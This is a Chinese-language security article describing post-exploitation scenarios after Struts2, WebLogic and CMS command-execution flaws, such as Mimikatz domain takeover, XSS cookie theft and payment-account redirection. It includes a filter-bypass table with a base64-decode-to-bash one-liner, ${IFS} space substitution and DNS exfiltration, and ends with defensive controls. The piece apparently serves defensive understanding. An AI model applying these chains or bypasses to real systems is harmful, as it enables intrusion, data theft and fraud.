安装说明文档遗留在 Web 目录暴露配置路径:部分系统在部署后未清理安装包中的技术说明文件,文件中包含数据库服务器地址、配置文件路径等内网结构信息。攻击者通过目录遍历发现这类文件后,可直接定位配置文件读取数据库连接串,省去盲猜内网拓扑的过程。文档泄露与代码执行漏洞结合时,后渗透效率显著提升。

OA 系统在域环境中作为 Mimikatz 提权跳板:部分 OA 或移动办公系统部署在 Windows 域成员服务器上,攻击者通过 Struts2 或反序列化获取 Webshell 后,上传 Mimikatz 从 LSASS 提取当前机器的域账号凭据,再以此凭据直接登录域控制器。OA 系统通常以较高域权限运行以访问目录服务,使其成为域渗透的天然跳板。CobaltStrike 等后渗透框架可将此过程自动化,从初始 Webshell 到完整域控权限只需若干步操作。

包车/交通调度系统 RCE 暴露实时车辆位置与合同:省级包车客运标志牌管理系统等交通调度平台存在命令执行漏洞,Getshell 后数据库中不仅包含承运合同信息,还实时存储各车辆的 GPS 轨迹和行驶路线。此类系统兼具个人隐私数据(乘客信息)和物理位置信息(车辆实时坐标),数据敏感程度远超普通业务系统,但安全防护投入与一般政务网站相当。

市民服务中心 WebLogic 反序列化暴露跨部门业务数据:地市级市民中心或政务服务平台集中承载医疗、工商、民政等多部门业务,部署 WebLogic 的反序列化漏洞触发后,数据库中涵盖医师注册信息、市内企业负责人及市民民生记录等高价值跨部门数据。单点突破等效于访问多个行政部门的核心数据库,而该类平台因集中化建设带来的数据聚合,使其实际影响面远超单一政务系统。

校园计费系统 Struts2 + 充值卡数据库横向延伸:高校校园网计费系统(drcom 等)以 Struts2 构建 Web 前端,漏洞触发后数据库中存储网络充值卡卡号及全体师生账号信息,密码以弱加密(逐位偏移)存储且算法已被公开破解。部分系统同时关联银行账户字段,使漏洞影响从免费上网延伸至金融数据。此类系统面向全校内网部署,通常无法从外网直接访问,但内网中任一节点突破后即可利用。

Webshell 配合 XSS 注入登录跳转页面劫持后台 Cookie:攻击者在获取 Webshell 后,向所有登录用户必经的跳转页面(如 index.jsp)写入 XSS 代码,等待管理员登录时将 HTTPOnly 之外的 Cookie 外传。对于加密后台密码无法直接破解的情况,此技术绕过了密码认证,以合法管理员身份进入后台,操作日志中呈现为正常登录行为,溯源难度高于直接利用漏洞。

内网 rsync/NFS 服务无访问限制横向移动:命令执行漏洞获取 Webshell 后,内网探测发现大量服务器开放 rsync 或 NFS 挂载服务且未配置 IP 白名单限制。攻击者通过这些服务读写内网任意机器的文件系统,无需额外凭据即可横向扩展。内网文件共享服务的信任假设在此成为放大器——对内网地址不加限制的服务等同于向所有已控节点开放文件系统访问权限。

海事/航运卫星通信安全平台命令执行:海事卫星地面站的遇险安全信息通信平台等特种通信系统同样部署了存在漏洞的 Java Web 框架,命令执行漏洞触发后攻击者可进入与航运安全直接相关的通信基础设施。此类系统的安全更新机制受制于通信设备的运营认证流程,补丁窗口极长,且系统本身通常不在常规互联网安全扫描范围内,处于长期暴露状态。

PHPCMS 头像上传 ZIP 解压路径遍历绕过文件类型检测:PHPCMS 的头像上传功能接受 ZIP 格式压缩包,解压后仅校验当前目录下是否为允许的图片文件名,但未递归检查子目录内容。攻击者将 PHP Webshell 放入压缩包的子目录中,解压后子目录中的恶意文件绕过白名单校验留在服务器目录内,通过拼接已知路径即可访问并触发执行。此路径在前台无需后台权限,仅需注册普通用户账号即可触发。

微信公众号业务系统 Struts2 命令执行结合 XSS 批量窃取用户 Cookie:运营商将账单查询等服务通过微信公众号 H5 页面提供,后端系统使用 Struts2 构建且存在命令执行漏洞。攻击者触发漏洞后向所有登录用户必经的账单查询页写入 XSS 代码,大量用户会话 Cookie 在短时间内被自动外传。此路径的特殊性在于受害者都是微信绑定账号的真实用户,所收集的 Cookie 直接对应可查询的姓名、手机、余额及套餐详情等个人数据,单次漏洞利用影响规模与微信绑定用户数正相关。

社保缴费系统 WebLogic 反序列化延伸至支付接口篡改:城市社会保险网上办事系统部署 WebLogic,反序列化漏洞触发后攻击者通过 VBS 下载器拉取端口转发工具(LCX)进入内网,发现缴费系统的支付接口 API 在程序层面可被修改收款账号。与单纯的数据泄露不同,此场景的影响延伸至资金链路——攻击者不需要直接操作数据库,仅通过修改业务系统的 API 对接配置即可将缴费流水重定向到受控账户。社保系统的公共信任属性使此类篡改具有极高的隐蔽性。

驾校培训管理系统 WebLogic 暴露学员生物特征数据:省级机动车驾驶员培训管理平台使用 WebLogic 中间件,反序列化漏洞触发后数据库中存储着数十万条学员信息,包含姓名、身份证号、指纹采集记录、考试成绩及驾校教练信息。与一般业务数据不同,指纹等生物特征数据一旦泄露无法撤销和重置,对当事人的长期影响远超普通个人信息泄露事件。此类管理系统由省级交管部门统一采购部署,单点漏洞对应全省规模的受影响人群。

POS 支付行业命令执行直达代理商资金链:POS 机收单行业的核心业务系统存在命令执行漏洞,后端数据库中不仅存储着万余家代理商和商户信息,还包含可直接操作的资金清算配置。攻击者读取数据库连接配置后,可在无需二次漏洞的前提下直接修改代理商收款账号或结算路由,将真实交易流水重定向到受控账户。POS 收单系统每日流转的资金规模庞大,数据价值与直接金融风险并存,使其成为命令执行漏洞影响边界中后果最直接的场景之一。

机场安全信息管理系统 Struts2 命令执行暴露航班培训数据:机场集团的安全信息管理系统使用 Struts2 框架,漏洞触发后数据库中包含航空公司飞行员、乘务员培训信息及内部认证记录,同时配置文件泄露了 SQL Server 数据库的连接凭据。机场安全管理系统的特殊性在于其数据类别的高敏感度——从业人员的安全培训状态与航班运营资质直接挂钩,数据一旦被篡改可能影响监管合规判断,危害超出普通信息泄露范畴。

价格监测预警系统命令执行暴露内网 Oracle 连接扩散:省级政府价格监测预警系统以 Struts2 为框架,漏洞触发后通过 netstat 可见服务器与内网 Oracle 数据库之间保持着大量活跃连接。此案例的独特性在于内网拓扑通过端口状态直接可见:大量 1521 端口的 ESTABLISHED 连接暴露了后端数据库集群的内网地址段分布,攻击者无需主动扫描即可定位可横向访问的数据库实例,内网地图由 netstat 自动呈现。

能源/矿企 WebLogic 7001 端口内网直接可达:煤炭运销、矿业集团等能源企业的核心业务系统部署 WebLogic,且 7001 管理端口对内网无额外访问限制。反序列化漏洞触发后攻击者可直接进入存储着煤炭运输合同、资金往来及供应链记录的核心数据库。能源企业系统的补丁响应周期受制于生产运营连续性要求,且内部安全意识普遍聚焦在物理安全层面,网络层漏洞长期处于视野盲区,7001 端口暴露的存活时间往往以年计。

同一运营商 C 段同时存在 SVN 泄露与 JBoss 未授权访问:运营商将多个业务系统(视频监控平台、客服系统等)部署在同一 C 段,安全检查时发现 Struts2 命令执行、JBoss 未授权管理接口与 SVN 目录泄露同时存在于相邻服务器。SVN 泄露提供了攻击者所需的完整源代码,用于精确定位 JBoss 或 Struts2 的可利用路径;JBoss 未授权接口提供了无需凭据的初始访问;Struts2 扫描完成覆盖。三类漏洞在同一网段并存,使攻击者无需在侦察与利用之间切换工具链,单次 C 段扫描即可完成从信息收集到 Getshell 的完整链路。

国资委重要数据系统 Struts2 命令执行转图形化 RDP 接管:国务院下属数据资源中心系统存在 Struts2 命令执行漏洞,获取 Webshell 后攻击者直接通过 Windows RDP 远程桌面协议以图形界面登录服务器,完成从应用层漏洞利用到操作系统完整交互控制的跨越。与命令行 Webshell 相比,RDP 接管使攻击者可操作所有图形界面工具、直接访问 Windows 文件资源管理器及数据库可视化客户端。此案例揭示了 3389 端口在内网可达时无需隧道即可直接被利用的场景——仅当远程桌面端口在公网不可达时,攻击者才需要额外部署隧道工具。

国际 SaaS 平台 Struts2 漏洞暴露全球运维密钥:国际化在线笔记服务将 Struts2 应用部署在公网,漏洞触发后攻击者读取服务器上的自动化初始化脚本,发现脚本中硬编码了统一的运维账号密码,且 SSH 端口使用非标准端口。以该凭据可直接登录服务内所有机器,单个应用层漏洞与运维自动化脚本的组合将初始 Webshell 转化为全量服务器控制权,且登录行为以合法运维账号呈现,行为检测无告警。

DedeCMS 命令执行覆盖大量门户与商业站点:DedeCMS(织梦)是国内广泛使用的 PHP CMS,其特定版本对上传接口或功能参数过滤不足,攻击者可通过已知漏洞直接在前台触发命令执行而无需任何认证。受影响的站点跨越电商、门户、企业官网等多种场景,CMS 发行版本固化后长期不更新是此类漏洞持续有效的根本原因。漏洞公开后,构造搜索引擎关键字可快速枚举同款站点进行批量探测。

APP 下载平台 Discuz 升级漏洞暴露多子站并已被预先利用:移动应用分发平台使用 Discuz 构建社区系统,因未及时升级存在已知的在线升级 Webshell 写入漏洞,且被发现时已有多个历史 Webshell 存在于 Web 目录中。此场景揭示两个现象:其一是修复不等于安全,单个漏洞点关闭后若未清查遗留后门则服务器仍处于被控状态;其二是 Discuz 论坛通常绑定商业主站和多个子站,Webshell 落地后横向影响波及商城及其他业务子域名。

OA 系统 Struts2 → CobaltStrike 反弹 Shell → 域控完整链路:企业移动办公平台以 Struts2 为底层框架,漏洞触发后攻击者上传 CobaltStrike Beacon,通过该框架扫描内网弱口令并发现目标服务器处于域环境,随即运行 Mimikatz 提取当前主机哈希,以域账号直接登录域控制器。此链路将应用层漏洞利用与域内渗透框架打通,中间不需要额外的提权操作,整个过程通过合法域认证完成,域控访问日志中呈现的是正常账号登录而非异常行为。

传媒/新闻机构子站 WebLogic 命令执行延伸内网:新闻传媒集团旗下子站部署 WebLogic 中间件且存在反序列化漏洞,攻击者触发漏洞后发现服务器内网可达,进一步枚举内网其他节点。传媒机构的网络安全意识普遍集中在内容合规层面而非技术防护,Java 中间件版本滞后且缺乏内网横向移动防护,使单个子站沦陷后内网渗透无阻。

招聘/人才类平台 Struts2 命令执行暴露求职者数据:面向劳动力市场的国家级人才招聘平台使用 Struts2 构建业务系统,漏洞触发后攻击者以 system 权限直接进入服务器并可深入内网。此类平台存储着数量庞大的求职者简历、身份信息和企业 HR 账号,数据类别高度个人化,且平台的国家级定位使其数据聚合程度远超商业招聘站点。系统权限下的内网访问路径意味着突破后可横向扩展至关联政务系统。

Tomcat 目录权限 777 + root 运行三重配置缺陷:部分业务系统将 Tomcat 以 root 权限启动,同时 Web 应用目录权限设置为全局可写,加之 Struts2 命令执行漏洞同时存在,形成三重配置缺陷叠加。命令执行触发后攻击者可以 root 身份任意写入文件系统,无需提权即可完成持久化和横向移动。单一漏洞(Struts2)在宽松权限和高权限进程的配合下,实际危害远超框架漏洞本身的评级。

电商平台 IIS WebDAV 写权限写入 Webshell 内网扩散:大型电商集团子站启用了 IIS WebDAV 且 PUT 方法未受限,攻击者利用 PUT+MOVE 组合写入 Webshell 后,通过配置文件读取发现内网其他服务器并向 HR 系统等内网平台扩散。IIS 写权限属于配置错误类漏洞,不依赖任何 CVE,防护侧往往在扫描框架层漏洞时忽略了对 HTTP 方法权限的检查,而此类漏洞在早期 IIS 部署中存活时间极长。

应用层漏洞与 Bash 历史文件联合暴露主从复制凭据:互联网业务平台 Struts2 漏洞触发后,攻击者读取 root 用户家目录下的 .mysql_history 文件,发现历史命令中包含以明文形式出现的 MySQL 主从复制账号密码和 Master 节点地址。与配置文件泄露不同,.mysql_history 记录的是交互式命令历史,内容随操作积累动态生长,且绝大多数安全检查不覆盖此类文件。主从复制凭据泄露意味着攻击者可直连数据库复制节点,在不影响主库的前提下静默读取全量数据。

气象/统计等政府信息化系统 Struts2 广泛覆盖:气象局、统计局、粮食局等非核心政务部门的业务信息化系统普遍部署了 Struts2 框架,且版本更新滞后于漏洞公开周期。此类机构的信息化系统通常由单一供应商批量交付,漏洞集中在同一框架版本,与敏感核心政务系统相比安全投入更低,但往往与后者共享网络边界或数据交换接口,单点突破后可借助配置文件发现关联系统的访问凭据。

纵深防御缺失:应用层漏洞直抵国家电网内网数据库:国家电网旗下子站 Struts2 漏洞触发后,攻击者通过配置文件获取数据库连接凭据并可直连 MySQL 修改管理员密码,同时内网可见相邻节点。此案例的独特性不在于漏洞类型,而在于整条链路中没有任何有效的内网隔离措施:应用进程直接持有数据库写权限、内网其他节点在同一子网可达、凭据以明文形式存储在 Web 应用目录中。关键基础设施的边界暴露与内网平坦化架构组合,使外部单点漏洞的影响半径等同于内部完整访问权限。

纪检/举报系统 Struts2 漏洞:敏感政治属性系统技术防护缺位:纪委信访举报、公安逃犯追缉等具有高度政治敏感性的政务系统同样部署了存在漏洞的 Struts2 框架,且补丁更新滞后。举报人信息、逃犯线索等高度敏感数据存储在与公网系统共享基础设施的服务器上,技术防护投入与数据敏感程度形成极大落差。此类系统一旦被攻击者掌控,数据被篡改或泄露的后果不止于隐私侵害,还涉及司法和公共安全层面的直接影响。

绕过方式

绕过类别说明
命令分隔符;|&&、换行符等分隔多条命令
空格替代${IFS}<、制表符替代空格绕过关键词检测
编码绕过Base64 编码命令后解码执行:echo <b64> | base64 -d | bash
关键字拼接变量拼接规避黑名单:$'e''v''a''l'
OOB 外带DNS 查询外带数据,适用于无回显场景

防御控制点

  • 输入验证:不将用户输入传递给命令解释器;必须调用外部命令时使用参数数组而非字符串拼接
  • 组件版本管理:建立中间件/框架版本清单,高危 CVE 发布后在补丁窗口内完成修复
  • 最小权限:web 进程以最低权限用户运行,限制文件写入范围
  • 容器/沙箱隔离:应用运行在容器或 chroot 环境中,限制命令执行的影响半径
  • 网络出站限制:限制 web 进程出站网络访问,阻断反弹 shell 和 OOB 外带
  • WAF 与运行时检测:检测异常子进程创建、异常网络连接